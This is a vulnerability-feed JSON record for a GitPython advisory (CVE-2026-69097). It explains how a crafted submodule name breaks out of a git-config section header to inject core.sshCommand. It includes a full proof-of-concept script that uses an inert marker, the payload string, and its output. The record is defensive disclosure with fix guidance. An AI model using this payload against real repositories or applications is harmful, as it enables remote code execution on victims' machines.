{"id":"GHSA-3rp5-jjmw-4wv2","kind":"vulnerability","aliases":["CVE-2026-69097","GHSA-3rp5-jjmw-4wv2"],"related":[],"title":"GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)","description":"### Summary\n\nIn GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ \"` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**.\n\nThis is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\\n\\x00]` guard added for them does not stop a **same-line** section break inside a name.\n\n### Details\n\nThe only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL:\n\n`git/config.py:75,897-899` (`GitPython 3.1.52`):\n\n```python\nUNSAFE_CONFIG_CHARS_RE = re.compile(r\"[\\r\\n\\x00]\")\n...\ndef _assure_config_name_safe(self, name: \"cp._SectionName\", label: str) -> None:\n    if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):\n        raise ValueError(\"Git config %s names must not contain CR, LF, or NUL\" % label)\n```\n\nThe name is then serialized into the header with no escaping of `]`, `[`, `\"`, space, `=` or `#`:\n\n`git/config.py:693`:\n\n```python\nfp.write((\"[%s]\\n\" % name).encode(defenc))\n```\n\nFor submodules the name is wrapped as `submodule \"<name>\"` (`git/objects/submodule/util.py:39`, `return f'submodule \"{name}\"'`), which supplies the balancing quote. A submodule named:\n\n```\nx\"] [core] sshCommand=CMD #\n```\n\ntherefore serializes to the header `[submodule \"x\"] [core] sshCommand=CMD #\"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#\"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires.\n\nThe attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`:\n\n- `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), \"url\", url)` — a single call, no hostile remote required.\n- `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), \"url\", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`.\n\nAsymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value(\"core\", \"editor\", \"x\\n\\tsshCommand=CMD\")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard.\n\n### PoC\n\nSingle self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PoC: git-config section-name injection in GitPython==3.1.52.\"\"\"\nfrom importlib.metadata import version\nimport os, tempfile, subprocess\nimport git\n\nprint(f\"# GitPython {version('GitPython')}\")        # version proof -- first line\n\nMARKER = \"MARKER_9f3a\"                               # inert; never executed\ntmp = tempfile.mkdtemp()\nenv = {**os.environ, \"HOME\": tmp,\n       \"GIT_CONFIG_GLOBAL\": os.path.join(tmp, \"gc\"), \"GIT_CONFIG_SYSTEM\": os.devnull,\n       \"GIT_AUTHOR_NAME\": \"a\", \"GIT_AUTHOR_EMAIL\": \"a@b.c\",\n       \"GIT_COMMITTER_NAME\": \"a\", \"GIT_COMMITTER_EMAIL\": \"a@b.c\"}\n\ndef run(*a, cwd=None):\n    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)\n\n# A benign local repo used as the submodule url (a plain path, no network).\nsrc = os.path.join(tmp, \"src\"); os.makedirs(src)\nrun(\"git\", \"init\", \"-q\", src)\nopen(os.path.join(src, \"f\"), \"w\").write(\"x\")\nrun(\"git\", \"add\", \"f\", cwd=src); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=src)\nsuburl = os.path.join(tmp, \"sub.git\"); run(\"git\", \"clone\", \"-q\", \"--bare\", src, suburl)\n\ndef parent_repo():\n    p = tempfile.mkdtemp(dir=tmp)\n    run(\"git\", \"init\", \"-q\", p)\n    open(os.path.join(p, \"r\"), \"w\").write(\"x\")\n    run(\"git\", \"add\", \"r\", cwd=p); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=p)\n    return p\n\ndef injected_sshcommand(parent):\n    r = run(\"git\", \"config\", \"-f\", os.path.join(parent, \".git\", \"config\"),\n            \"--get\", \"core.sshCommand\")\n    return (r.returncode, r.stdout.strip())\n\nbenign = \"docs\"\nevil   = f'x\"] [core] sshCommand={MARKER} #'          # closes the header, opens [core]\n\np_control = parent_repo()\ngit.Repo(p_control).create_submodule(name=benign, path=\"docs\", url=suburl)\np_exploit = parent_repo()\ngit.Repo(p_exploit).create_submodule(name=evil, path=\"sub\", url=suburl)\n\nctl = injected_sshcommand(p_control)\nexp = injected_sshcommand(p_exploit)\nheader = [l for l in open(os.path.join(p_exploit, \".git\", \"config\")).read().splitlines()\n          if l.startswith(\"[submodule\")][0]\n\nprint(\"control name :\", repr(benign))\nprint(\"  git core.sshCommand ->\", ctl, \"(unset)\")\nprint(\"exploit name :\", repr(evil))\nprint(\"  written header      ->\", header)\nprint(\"  git core.sshCommand ->\", exp)\n\nassert ctl[0] != 0 and ctl[1] == \"\", \"control unexpectedly set core.sshCommand\"\nassert exp == (0, MARKER), \"not reproduced\"\nprint(f\"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} \"\n      f\"into the victim's trusted .git/config (git would run it on the next ssh op)\")\n```\n\nRun:\n\n```bash\nuv run --with GitPython==3.1.52 python poc.py\n```\n\nObserved output:\n\n```\n# GitPython 3.1.52\ncontrol name : 'docs'\n  git core.sshCommand -> (1, '') (unset)\nexploit name : 'x\"] [core] sshCommand=MARKER_9f3a #'\n  written header      -> [submodule \"x\"] [core] sshCommand=MARKER_9f3a #\"]\n  git core.sshCommand -> (0, 'MARKER_9f3a')\nVERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)\n```\n\nThe benign name yields a single clean `[submodule \"docs\"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `\"` makes git reject the header); the `submodule \"<name>\"` wrapper balances them automatically.\n\n### Impact\n\nArbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths:\n\n- an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or\n- `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`.\n\nNo non-default git settings are required. Primarily a Unix vector: on Windows the `\"` in the resulting `.git/modules/<name>` directory name can abort the fresh-clone write branch (the direct config-API and `create_submodule` sinks are unaffected).\n\n### Recommended fix\n\nReject or escape configuration section/subsection/option **names** that contain `]`, `[`, `\"`, or leading/trailing whitespace (or apply git's own section-name escaping) in `_assure_config_name_safe` / `write_section`, rather than only CR/LF/NUL. Validating submodule names before they reach `sm_section` would additionally close the clone-driven path.","summary":"GitPython writes submodule names into .git/config without escaping brackets or quotes, so a crafted name can inject an arbitrary config line such as core.sshCommand. An attacker who controls a submodule name (from a hostile .gitmodules or an app input) can get code run on the victim's next ssh git operation.","severity":"high","cvss":7.0,"epss":0.00268,"exploited":false,"exploited_at":null,"products":[{"name":"gitpython","fixed":["3.1.53"],"affected":"<= 3.1.52","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["ci","cwe-74","gitpython","package","python","self-hosted"],"not_affected_if":["default-config"],"how_to_check":"Run: pip show GitPython and confirm the version is 3.1.52 or lower.\nSearch .git/config files for section headers containing ] [ or sshCommand/pager/fsmonitor/alias entries you did not add.","fix":"Upgrade GitPython to 3.1.53 or later.\nIf you cannot upgrade, do not pass untrusted strings to Repo.create_submodule or clone untrusted repos and run submodule_update(init=True).","status":"open","published_at":"2026-07-24T16:22:02+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T21:45:57+00:00","updated_at":"2026-10-23T21:51:54+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T21:45:57Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade GitPython to 3.1.53 or later.\nIf you cannot upgrade, do not pass untrusted strings to Repo.create_submodule or clone untrusted repos and run submodule_update(init=True).","reach":"local","impact":"high","summary":"GitPython writes submodule names into .git/config without escaping brackets or quotes, so a crafted name can inject an arbitrary config line such as core.sshCommand. An attacker who controls a submodule name (from a hostile .gitmodules or an app input) can get code run on the victim's next ssh git operation.","category":"package","who_cares":["python","gitpython","self-hosted","ci"],"confidence":0.8,"needs_auth":"no","worst_case":"Attacker runs code on the victim's machine via injected core.sshCommand.","analyst_note":"","how_to_check":"Run: pip show GitPython and confirm the version is 3.1.52 or lower.\nSearch .git/config files for section headers containing ] [ or sshCommand/pager/fsmonitor/alias entries you did not add.\nunknown","needs_analyst":false,"not_affected_if":["default-config"],"user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.00082,"input_tokens":6051,"output_tokens":430,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2026':16A '-69097':17A '-74':31B,203C '-899':281C '/usr/bin/env':562C '2j67':224C '3.1.50':234C '3.1.52':92C,283C,575C '39':358C '3rp5':20A,25A '4wv2':22A,27A '619':444C '693':341C '6q3f':223C '75':279C '855':466C '897':280C '9f3a':597C 'achiev':190C 'add':240C 'address':213C 'alia':186C 'app':75B 'appear':409C 'appli':259C 'applic':161C 'arbitrari':10A,56B,135C 'assur':266C,295C,411C 'asymmetri':485C 'attack':63B,148C,181C,419C 'attacker-control':147C,418C 'author':618C,622C 'b.c':625C,634C 'balanc':366C 'block':490C 'bracket':46B,511C 'break':251C 'call':454C 'caught':515C 'char':287C 'ci':29B 'cj2w':219C 'class':488C 'clone':481C 'close':121C 'cmd':374C,384C,400C,505C 'code':79B,192C 'come':152C 'comment':406C 'committ':627C,631C 'config':4A,11A,57B,94C,136C,230C,267C,286C,296C,315C,412C,495C,551C,568C,608C,614C 'configur':103C 'contain':120C,320C,524C 'control':65B,149C,420C 'core':372C,382C,500C 'core.fsmonitor':188C 'core.pager':187C 'core.sshcommand':13A,61B,184C,399C 'cp._sectionname':301C 'cr':98C,321C 'cr/lf/nul':277C,408C 'craft':51B 'cve':15A 'cwd':638C 'cwe':30B,202C 'data':150C 'def':294C,635C 'defenc':348C 'destruct':537C 'detail':255C 'direct':12A,137C 'distinct':208C 'document':426C 'e.g':497C 'editor':501C 'email':623C,632C 'enabl':9A 'encod':347C 'entri':428C 'env':603C 'environ':534C 'ephemer':533C 'escap':45B,115C,336C 'everyth':387C 'execut':193C,560C,600C 'f':360C,587C 'fire':416C 'first':390C,593C 'fix':226C 'fp.write':343C 'fresh':396C 'gc':612C 'get':78B,552C 'ghsa':19A,24A,216C,221C 'ghsa-3rp5-jjmw-4wv2':18A,23A 'ghsa-mv93-w799-cj2w':215C 'ghsa-v87r-6q3f-2j67':220C 'git':3A,87B,199C,314C,385C,550C,567C,585C,607C,613C,617C,621C,626C,630C 'git-config':2A,566C 'git/config':43B,179C,438C 'git/config.py':278C,340C 'git/objects/submodule/base.py':443C,465C 'git/objects/submodule/util.py':357C 'gitmodul':72B,157C,484C 'gitpython':1A,28A,32B,38B,91C,282C,574C,588C,590C 'global':609C 'guard':239C,258C,519C 'header':111C,124C,333C,379C 'home':605C 'host':37B 'hostil':71B,456C 'import':578C,580C,584C 'importlib.metadata':577C 'inert':543C,598C 'init':463C 'inject':8A,54B,133C,204C,212C,228C,539C,572C 'inlin':405C 'input':76B 'insid':252C 'intend':123C 'isinst':306C 'jjmw':21A,26A 'label':302C,325C 'let':163C 'lf':99C,322C 'like':201C 'line':58B,131C,249C,393C,594C 'marker':544C,595C,596C 'match':275C 'minim':564C 'must':318C 'mv93':217C 'n':237C,292C,345C,503C 'name':7A,41B,52B,68B,104C,108C,118C,145C,166C,254C,262C,268C,297C,300C,307C,311C,317C,327C,346C,352C,362C,370C,413C,421C,441C,449C,510C,571C,619C,628C 'neutral':96C 'never':415C,599C 'newlin':140C,227C,492C 'next':85B,198C 'non':536C 'non-destruct':535C 'none':304C,639C 'noth':558C 'nul':101C,324C 'open':126C 'oper':88B,200C 'os':581C 'os.devnull':616C 'os.environ':604C 'os.path.join':610C 'packag':33B 'parent':175C,435C 'pars':386C,547C 'parse-on':546C 'patch':232C 'payload':512C 'pin':529C 'poc':520C,565C 'point':429C 'print':586C 'proof':592C 'public':427C 'python':34B,284C,342C,561C 'python3':563C 'quot':48B,367C 'r':236C,290C,291C 'rais':312C,506C 'rce':14A 're':288C 're.compile':289C 'reach':422C 'read':477C 'regex':273C 'releas':530C 'remot':191C,457C 'repo':482C 'repo.clone':459C 'repo.create':439C 'repo.submodule':461C 'repositori':155C,176C,436C 'requir':141C,458C 'return':359C 'run':80B,526C,556C,636C 'safe':269C,298C,414C 'same-lin':129C,247C 'script':525C 'second':128C 'section':6A,107C,132C,250C,397C,448C,470C,509C,570C 'section-nam':5A,569C 'section/option':261C 'section/subsection':117C 'self':36B,299C,523C 'self-contain':522C 'self-host':35B 'self.name':471C,475C 'self.url':473C 'serial':330C,376C 'set':183C,498C 'sibl':487C 'singl':453C,521C 'sink':424C 'sm':447C,469C 'sole':276C 'space':338C 'ssh':86B 'ssh/fetch/push':554C 'sshcommand':373C,383C 'stop':245C 'str':303C,308C 'submodul':40B,67B,144C,168C,350C,356C,361C,369C,380C,440C 'submodule.add':442C 'subprocess':583C 'summari':89C 'suppli':364C 'system':615C 'tempfil':582C 'tempfile.mkdtemp':602C 'therefor':375C 'tmp':601C,606C,611C 'trail':402C 'true':464C 'trust':178C 'tsshcommand':504C 'unsaf':285C 'unsafe_config_chars_re.search':310C 'unvalid':478C 'updat':462C 'url':450C,451C,472C 'use':271C 'user':165C 'v87r':222C 'valu':446C,468C,496C,499C,540C 'valueerror':313C,507C 'values/names':231C 'variant':209C 'verbatim':172C 'verifi':545C 'version':579C,589C,591C 'victim':83B,196C 'w799':218C 'without':44B 'wrap':354C 'write':39B,106C,264C,431C 'writer':95C 'writer.set':445C,467C 'written':171C 'x':371C,381C,502C 'x00':238C,293C 'yield':398C","nicknames":[],"mitigations":[],"who_affected":null,"tier":null,"verified":{},"analyst_revisit_at":null,"first_public_at":"2026-07-24T16:22:02+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-3rp5-jjmw-4wv2","url":"https://github.com/advisories/GHSA-3rp5-jjmw-4wv2","severity":"high","published_at":"2026-07-24T16:22:02+00:00","modified_at":"2026-10-23T21:47:07+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T21:51:54+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}